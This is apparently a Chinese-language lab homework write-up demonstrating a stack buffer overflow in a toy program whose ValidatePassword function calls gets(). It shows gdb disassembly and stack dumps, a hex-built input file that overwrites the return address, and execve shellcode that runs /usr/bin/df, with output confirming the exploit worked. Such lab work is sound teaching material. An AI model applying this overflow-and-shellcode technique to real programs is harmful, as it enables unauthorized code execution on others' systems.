

使用Ubuntu 20.04，編譯時使用-fno-stack-protector 以及-z execstack，並關閉ASLR。

將main function 做 disassembly：

```
(gdb) disass main
Dump of assembler code for function main:
0x000055555555189 <+0>:    endbr64
0x00005555555518d <+4>:    push    %rbp
0x00005555555518e <+5>:    mov     %rsp,%rbp
0x000055555555191 <+8>:    sub     $0x10,%rsp
0x000055555555195 <+12>:   lea     0xe6c(%rip),%rdi    # 0x555555556008
0x00005555555519c <+19>:   callq   0x55555555070 <puts@plt>
0x0000555555551a1 <+24>:   callq   0x555555551da <ValidatePassword>
0x0000555555551a6 <+29>:   mov     %al,-0x1(%rbp)
0x0000555555551a9 <+32>:   movzbl -0x1(%rbp),%eax
0x0000555555551ad <+36>:   xor     $0x1,%eax
0x0000555555551b0 <+39>:   test    %al,%al
0x0000555555551b2 <+41>:   je      0x555555551c7 <main+62>
0x0000555555551b4 <+43>:   lea     0xe65(%rip),%rdi    # 0x555555556020
0x0000555555551bb <+50>:   callq   0x55555555070 <puts@plt>
0x0000555555551c0 <+55>:   mov     $0xffffffff,%eax
0x0000555555551c5 <+60>:   jmp     0x555555551d8 <main+79>
0x0000555555551c7 <+62>:   lea     0xe71(%rip),%rdi    # 0x55555555603f
0x0000555555551ce <+69>:   callq   0x55555555070 <puts@plt>
0x0000555555551d3 <+74>:   mov     $0x0,%eax
0x0000555555551d8 <+79>:   leaveq
--Type <RET> for more. q to quit. c to continue without paging--c
```

將ValidatePassword做 disassembly：

```
(gdb) disass ValidatePassword
Dump of assembler code for function ValidatePassword:
0x00000000000011da <+0>:    endbr64
0x00000000000011de <+4>:    push    %rbp
0x00000000000011df <+5>:    mov     %rsp,%rbp
0x00000000000011e2 <+8>:    sub     $0x20,%rsp
0x00000000000011e6 <+12>:   lea     -0x20(%rbp),%rax
0x00000000000011ea <+16>:   mov     %rax,%rdi
0x00000000000011ed <+19>:   mov     $0x0,%eax
0x00000000000011f2 <+24>:   callq   0x1090 <gets@plt>
0x00000000000011f7 <+29>:   lea     -0x20(%rbp),%rax
0x00000000000011fb <+33>:   lea     0xe58(%rip),%rsi    # 0x205a
0x0000000000001202 <+40>:   mov     %rax,%rdi
0x0000000000001205 <+43>:   callq   0x1080 <strcmp@plt>
0x000000000000120a <+48>:   test    %eax,%eax
0x000000000000120c <+50>:   jne     0x1215 <ValidatePassword+59>
0x000000000000120e <+52>:   mov     $0x1,%eax
0x0000000000001213 <+57>:   jmp     0x121a <ValidatePassword+64>
0x0000000000001215 <+59>:   mov     $0x0,%eax
0x000000000000121a <+64>:   leaveq
0x000000000000121b <+65>:   retq
End of assembler dump.
(gdb)
```

ValidatePassword這個function在執行階段的stack frame中的記憶體內容如下：

紅框為return address在記憶體中的所在地

```
(gdb) x/32wx $rsp
0x7fffffffde80: 0x34333231    0x38373635    0x32313039    0x36353433
0x7fffffffde90: 0x30393837    0x00005500    0xffffdfb0    0x00007fff
0x7fffffffdea0: 0xffffdec0    0x00007fff    0x555551a6    0x00005555
0x7fffffffdeb0: 0xffffdfb0    0x00007fff    0x00000000    0x00000000
0x7fffffffdec0: 0x00000000    0x00000000    0xf7de60b3    0x00007fff
0x7fffffffded0: 0x00000050    0x00000000    0xffffdfb8    0x00007fff
0x7fffffffdee0: 0xf7faa7a0    0x00000001    0x55555189    0x00005555
0x7fffffffdef0: 0x55555220    0x00005555    0xdacabc2e    0xd8bddca4
(gdb)
```

製作造成buffer overflow的input檔案的畫面：

新的return address 改成 0x7fffffffdeb0 · shellcode從0x7fffffffdeb0這一個位址開始放

input\_x64

00000000	34 30 38 34 31 30 30 34 35 30 31 32 33 34 35 36 37 38	408410045012345678
00000012	39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36	901234567890123456
00000024	37 38 39 30 B0 DE FF FF FF 7F 00 00 48 31 D2 52 48 B8	7890.....H1.RH.
00000036	2F 62 69 6E 2F 2F 64 66 50 48 89 E7 52 57 48 89 E6 48	/bin//dfPH..RWH..H
00000048	31 C0 B0 3B 0F 05	1...;

Signed 8 bit: 52      Signed 32 bit: 875575348      Hexadecimal: 34 30 38 34

Unsigned 8 bit: 52      Unsigned 32 bit: 875575348      Decimal: 052 048 056 052

Signed 16 bit: 13360      Float 32 bit: 1.641172E-07      Octal: 064 060 070 064

Unsigned 16 bit: 13360      Float 64 bit: 2.583922815436E-57      Binary: 00110100 00110000 001

☐ Show little endian decoding      ☐ Show unsigned as hexadecimal      ASCII Text: 4084

Loaded file '/home/shiwulo/secu...      Offset: 0x0 / 0x4d      Selection: None      INS

在gdb中執行shellcode:

```
(gdb) b* ValidatePassword+59
Breakpoint 1 at 0x1215: file shel.c, line 27.
(gdb) r < input_x64
Starting program: /home/shiwulo/secure/hw1/shel < input_x64
Enter the password:
Breakpoint 1, ValidatePassword () at shel.c:27
27     else return(false);
(gdb) x/32wx $rsp
0x7fffffffde80: 0x34383034    0x34303031    0x32313035    0x36353433
0x7fffffffde90: 0x30393837    0x34333231    0x38373635    0x32313039
0x7fffffffdea0: 0x36353433    0x30393837    0xffffdeb0    0x00007fff
0x7fffffffdeb0: 0x52d23148    0x622fb848    0x2f2f6e69    0x48506664
0x7fffffffdec0: 0x5752e789    0x48e68948    0x3bb0c031    0x0000050f
0x7fffffffded0: 0x00000050    0x00000000    0xffffdfb8    0x00007fff
0x7fffffffdee0: 0xf7faa7a0    0x00000001    0x55555189    0x00005555
0x7fffffffdef0: 0x55555220    0x00005555    0x34fc19e7    0x5b8df93b
(gdb) c
Continuing.
process 32734 is executing new program: /usr/bin/df
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol "ValidatePassword" in current context.
Filesystem      1K-blocks    Used Available Use% Mounted on
udev              4018788        0   4018788    0% /dev
tmpfs             810528      1924   808604    1% /run
/dev/nvme0n1p1 48827392 12701960 34249672   28% /
tmpfs             4052632     99516  3953116    3% /dev/shm
tmpfs              5120         0     5120    0% /run/lock
tmpfs             4052632     0 4052632    0% /sys/fs/cgroup
/dev/loop0         128         0     100% /snap/bare/5
/dev/loop2        52224      52224    100% /snap/snap-store/547
/dev/loop3       224256     224256    100% /snap/gnome-3-34-1804/72
```